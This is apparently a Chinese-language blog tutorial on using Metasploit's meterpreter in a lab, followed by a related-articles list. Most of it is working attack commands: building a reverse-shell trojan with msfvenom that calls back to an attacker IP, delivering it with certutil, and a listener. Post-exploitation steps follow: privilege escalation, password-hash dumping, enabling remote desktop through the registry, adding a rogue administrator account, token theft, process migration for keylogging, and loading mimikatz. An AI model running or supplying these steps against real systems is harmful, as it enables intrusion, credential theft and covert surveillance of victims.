meterpreter是metasploit中的一个杀手锏,通常在漏洞利用成功后,会返回给攻击者一个攻击通道,其中有很多自动化操作

场景布置

生成木马

首先,我们使用metasploit中的另一个后门工具msfvenom生成一个木马,方便我们测试meterpreter

msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=1234 -f exe -o /root/shell.exe



在/root目录生成了一个shell.exe文件,执行该程序回连地址为172.16.1.103端口为1234的木马

将木马共享到windows电脑

service apache2 start打开Web服务

cp /root/shell.exe /var/www/html/,拷贝到Web服务目录



在靶机中执行命令下载木马到C:\根目录并使用dir查看

certutil -urlcache -split -f http://172.16.1.103/shell.exe C:\shell.exe

msfconsole控制台执行监听

  • [use exploit/multi/handler]

    [set payload windows/meterpreter/reverse_tcp]

    [set LHOST 172.16.1.103]

    [set LPORT 1234]

    [run] 开始监听即可



靶机执行shell.exe即可反弹meterpreter



meterpreter的使用

meterpreter最出名的就是其接口的方便性,提权,各种命令应有尽有

help查看帮助



会显示所有命令的帮助信息,例如background后台运行我们的会话

background后台运行我们的会话



如果想要连接我们的会话,使用msfconsole中学习的sessions命令可以来连接

sysinfo 查看靶机系统相关信息

exit断开并退出会话

exit会把会话直接断开

对文件操作的有这些



很容易理解,这些和linux使用的方法是一样的,这里不在一一使用

注意的是:meterpreter中的操作是相对于会话中对我们靶机的操作,而不是攻击机本身

getuid 查看当前会话权限



发下我们获取的管理员的权限,因为是管理员执行的我们的木马。如果是一个低权限用户执行的我们的木马,那么我们的获取的会话也是低权限的用户

getsystem 获取操作系统权限

system:操作系统权限



这个操作大部分情况下是不成功的,因为这个操作是只有我们获取的会话是管理员权限,才可以提权为system权限

那么为什么要获取system权限呢,获取system权限我们可以直接使用hashdump把密码hash值导出,使我们对靶机的控制更加方便

hashdump 导出系统中密码的hash值

通过 sam 文件导出系统用户的 hash值,前提是需要获取system权限,有时候获取了system权限我们也无法执行

但是,msfconsole中有导出hash的模块,需要在meterpreterrun 模块路径执行

run post/windows/gather/smart_hashdump获取hash

shell 进入会话靶机终端



这里的权限会跟随meterpreter的权限

若想返回meterpreter控制台,输入exit退出即可



在进入命令行后,中文可能出现乱码



chcp 65001将终端编码改为英文即可

run getgui -e 开启远程远程桌面

可以试一试能不能开启,权限越高,越容易开启



这里使用了netstat查看靶机端口的开放情况,可以看到3389端口已经被我们开启

开启后,如果我们通过hashdump破解的管理员或者其他用户的密码,可以使用用户名密码直接连接

当然我们也可以主机创建用户

net user hacker Admin123 /addnet localgroup administratos hacker /add

创建hacker用户并将hacker用户加入管理员组



run getgui -e没有开启3389远程桌面,我们可以使用cmd命令打开3389服务

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f



使用netstat -an查看

netstat 查看靶机端口开放状态

ps 查看靶机进程



会显示靶机运行的进程的进程号,父进程号,运行的名称,多少位,运行的用户是,运行的程序的位置

进程号很有用,后面有两个关于进程的提权

steal_token 窃取用户进程令牌

在系统中,一个程序需要用户来运行,运行到内存中就变成了进程,steal_token可以伪装为指定进程的所运行的用户

例如notepad.exe是Administrator用于运行的,那么steal_token只需要指定notepad.exe的进程号,就可以将我们的权限伪装为Administrator

ps 查看进程



可以看到svchost.exe的进程为1268,运行的用户是NT AUTHORRITY/SYSTEM,拥有system权限的system用户

steal_token 1268伪装system



在我们伪装后,权限就变为了system

migrate 内存迁移

这个内存迁移现在我也不太明白是什么意思,作用和steal_token一样,只需要找到system管理员的权限,就可以进行提权

ps 查看进程



conhost.exe的进程为2200,运行的用户是Administrator

使用内存迁移,获取administrator,这里我们的权限是system,可以说一个权限的降级

注意,这里只是为了演示进行的降级,一般情况下,肯定权限越高越好

migrate 2200



通过getuid获取到现在是Administrator权限

当使用内存迁移的时候,建议不要迁移到低权限的用户,不然权限会变低,而且无法提升权限

迁移到另一个进程将有助于 Meterpreter 与其交互。例如,如果您看到一个文字处理器在目标上运行(例如 word.exenotepad.exe 等),您可以迁移到它并开始捕获用户发送到该进程的击键。某些 Meterpreter 版本将为您提供keyscan_startkeyscan_stopkeyscan_dump命令选项,使 Meterpreter 像键盘记录器一样工作。迁移到另一个进程也可以帮助您拥有更稳定的 Meterpreter 会话。

要迁移到任何进程,您需要键入 migrate 命令,然后键入所需目标进程的 PID

load 加载其他插件

meterpreter中也可插入其他插件,例如mimimatz,不用下载,在meterpreter中有内置



help中会有mimikatz插件的帮助

mimikatz还没有学习,后续学习

meterpreter的使用的更多相关文章

  1. Meterpreter run vnc 遇到的问题

    Metasploit框架中的meterpreter无疑是相当强大的工具,而且具有我目前挺喜欢的vnc.但是我在run vnc时发现得到的远程控制桌面是view-only的,通过-h选项发现没有修改的方 ...

  2. 渗透攻防工具篇-后渗透阶段的Meterpreter

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...

  3. Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter

    Kali Linux Web 渗透测试— 第二十课-metasploit.meterpreter 原文链接:http://www.xuanhun521.com/Blog/7fc11b7a-b6cb-4 ...

  4. [转]Metasploit的meterpreter黑客脚本列表

    原文地址: 摘要: Metasploit的框架是一个令人难以置信的黑客攻击和渗透测试工具,每一个黑客称职的应该是熟悉和有能力的. 在上一篇文章中,我提供了你的 meterpreter 命令列表.这些命 ...

  5. Meterpreter

    监听 AutoRunScrip:自动执行脚本 如:自动执行post/windows/manage/migrate set AutoRunScript post/windows/manage/migra ...

  6. meterpreter_paranoid_mode.sh允许用户安全上演/无级连接Meterpreter经检查合格证书的处理程序正在连接到

    刚刚看完即刻安全大咖的新姿势感觉很6逼,结果成功了meterpreter_paranoid_mode.sh允许用户安全上演/无级连接Meterpreter经检查合格证书的处理程序正在连接到. 我们开始 ...

  7. meterpreter基础命令大全

    meterpreter meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用.为后渗透提供了很多便捷之处 基础命令 我们进入meterpreter之后,键入 ...

  8. 用meterpreter实现跳板机

      meterpreter跳板机 背景:渗透测试者A拿到了B主机的控制权,但没有拿到ssh密码(不能打ssh隧道).现需横向移动渗透内网主机C,为了避免动作过大不便直接在B上对C进行渗透,其中C不能出 ...

  9. Meterpreter命令详解

      0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以 ...

  10. Meterpreter提权详解

      0x01 Meterpreter自动提权 1.生成后门程序 我们在kali的命令行下直接执行以下命令获得一个针对windows的反弹型木马: msfvenom -p windows/meterpr ...

随机推荐

  1. 12个有用的JavaScript数组技巧

    数组是Javascript最常见的概念之一,它为我们提供了处理数据的许多可能性,熟悉数组的一些常用操作是很有必要的. 1.数组去重 1.from()叠加new Set()方法 字符串或数值型数组的去重 ...

  2. WPF中向下拉框中绑定枚举体

    1.枚举绑定combox的ItemsSourceItemsSource绑定的是个集合值,要想枚举绑定ItemsSource,首先应该想到的是把枚举值变成集合. 方法一:使用资源里的ObjectData ...

  3. Linux基础第七章:磁盘阵列(RAID)

    一.磁盘阵列 二.磁盘阵列类型 1.RAID 0 2.RAID 1 3.RAID 5 4.RAID10 三.磁盘阵列配置 1.硬件方式 2.软件方式 一.磁盘阵列独立硬盘冗余阵列(RAID, Redu ...

  4. usbip:(二)从linux内核了解usb

    一.前言 1.首先了解一下EHCI.UHCI和OHCI. 从硬件上来说,usb 设备要想工作,除了外设本身,必须依赖于 usb host controller.一般来说,一个电脑里有一个 usb ho ...

  5. 小凡的Python之路——安装

    小凡的Python之路--安装 第二天是周六,俩人约定九点半在图书馆二楼最西边的阅览室里共同学习Python.吃过早饭,小凡背着电脑向图书馆走去. 小文一直在学习Python?这是小凡最大的疑问.至少 ...

  6. RabbitMQ宕机了怎么办?

    RabbiMQ宕机会导致消息丢失! 解决办法:可以做消息持久化. 非持久化消息:只有非持久化消息在RabbitMQ宕机时会发生消息丢失. 持久化消息:持久化的消息会在接收后被保存到磁盘中,所以Rabb ...

  7. (论文笔记)Learning Deep Structured Semantic Models for Web Search using Clickthrough Data

    利用点击数据学习web搜索的深度学习模型   [总结] 该模型可以得到query和item的低维度向量表示,也可以得到二者的余弦语义相似度. 学习过程是通过最大化后验概率的极大似然估计得到的参数.   ...

  8. jetbrain 全套激活

    关于 jetbrain 专业版激活的教程很多,发现很多实际操作不太友好,本人亲测可激活经理 1.下载 ja-ja-netfilter-all https://github.com/byebai95/j ...

  9. WPF VB.NET 代码实现界面动画效果

    WPF VB.NET 代码实现界面动画效果 Imports System.Windows.Media.Animation 例子: Dim result As New Storyboard Dim an ...

  10. Vue Element使用第三方图标(iconfont阿里矢量图标库)

    在  www.iconfont.cn 中搜索图标并加入购物车然后添加至项目,编辑项目名称 然后将项目下载至本地解压后将如下文件复制移到到  src/assets/icon中, 并把iconfont.c ...